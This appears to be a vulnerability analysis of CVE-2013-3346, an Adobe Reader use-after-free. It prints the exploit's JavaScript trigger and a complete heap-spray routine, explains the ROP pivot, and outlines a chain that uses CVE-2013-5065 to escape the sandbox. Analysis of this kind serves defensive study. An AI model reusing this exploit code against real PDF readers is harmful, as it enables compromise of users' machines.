CVE 2013 3346 analysis

CVE 2013 3346 analysis

CVE 2013-3346 refers to Adobe Reader use-after-free condition. Adobe Reader is exploited by creating pdf and embedding in it javascript code which triggers use-after-free condition. Javascript and other scripting languages (like actionscript) which can be embedded into pdfs and internet browsers are widely used for client side attacks.

Triggering memory corruption

Code which triggers memory corruption is shown below:

var obj_size = 0x370;
  var part1 = "";
  part1 += rop_addr;
  var part2 = "";
  var part2_len = obj_size - part1.length * 2;
  for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");
  var arr = new Array();

  removeButtonFunc = function () {
    app.removeToolButton({
        cName: "evil"
    });

    for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
  }

  addButtonFunc = function () {
    app.addToolButton({
      cName: "xxx",
      cExec: "1",
      cEnable: "removeButtonFunc();"
    });
  }

  app.addToolButton({
    cName: "evil",
    cExec: "1",
    cEnable: "addButtonFunc();"
  });

Javascript code creates a parent tool button which calls a callback function addButtonFunc(). cEnable property should contain string which determines if a tool button is enabled. In addButtonFunc() child tool button is created which calls a callback function removeButtonFunc(). Within removeButtonFunc() parent ToolButton memory is freed. Within for loop the gap that has been made is filled with data consisting of address 0C0C08A8 and bunch of As (hex 41 is ASCII character A). So after corruption parent tool button looks like this:

relative address (from the beginning of tool button)  data
00000000                                                              0C0C08A8
00000001                                                              AAAAAAAA
     .
     .
     .
00000370                                                              AAAAAAAA

To understand why it is filled with that data we need to take a look at instruction which is being executed at the time of the crash. That instruction is:

CALL DWORD PTR DS:[EAX+364]

We can see that program flow is being redirected at the memory location pointed to by the EAX register value + 364h. If we look few instruction before this one well find instruction

MOV EAX,DWORD PTR DS:[ESI],

which moves DWORD at the address pointed to by ESI register to EAX register. ESI register points to the beginning of parent ToolButton. To take control of program flow, memory location of rop pivot - 364h is placed at the beginning of parent toolbutton. The additional As are just padding to fill the gap. After redirecting program flow to the rop pivot, number of rop gadgets are executed which in the end results in the shellcode execution.

Heapspray

Code of heapspray function is shown below:

function heapSpray(str, str_addr, r_addr) {

  var aaa = unescape("%u0c0c");

  aaa += aaa;

  while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;

  var i1 = r_addr - 0x24;

  var bbb = aaa.substring(0, i1 / 2);

  var sa = str_addr;

  while (sa.length < (0x0c0c - r_addr)) sa += sa;

  bbb += sa;

  bbb += aaa;

  var i11 = 0x0c0c - 0x24;

  bbb = bbb.substring(0, i11 / 2);

  bbb += str;

  bbb += aaa;

  var i2 = 0x4000 + 0xc000;

  var ccc = bbb.substring(0, i2 / 2);

  while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;

  var i3 = (0x1020 - 0x08) / 2;

  var ddd = ccc.substring(0, 0x80000 - i3);

  var eee = new Array();

  for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";

  return;

}




Heap is sprayed with the address of rop gadgets and then shellcode. That will ensure that neccessery rop gadgets are executed before shellcode.

Shellcode

Before user level shellcode can be executed, adobe sandbox has to be bypassed. So first part of the shellcode in this case is actually another exploit which causes memory corruption in kernel and bypasses adobe sandbox. Exploit which is being used is CVE 2013-5065. Then user level shellcode is executed.

Summary

So exploit works in following steps:

1. Heap is sprayed with shellcode and rop gadgets
2. Parent tool button is created and its callback function is called
3. Child tool button is created and its callback function is called
4. Memory of parent tool button is freed and corrupted with te addres of rop pivot and additional padding
5. Rop gadgets are executed
6. CVE 2013-5065 is executed to bypass adobe sandbox
7. User level shellcode is executed

download file now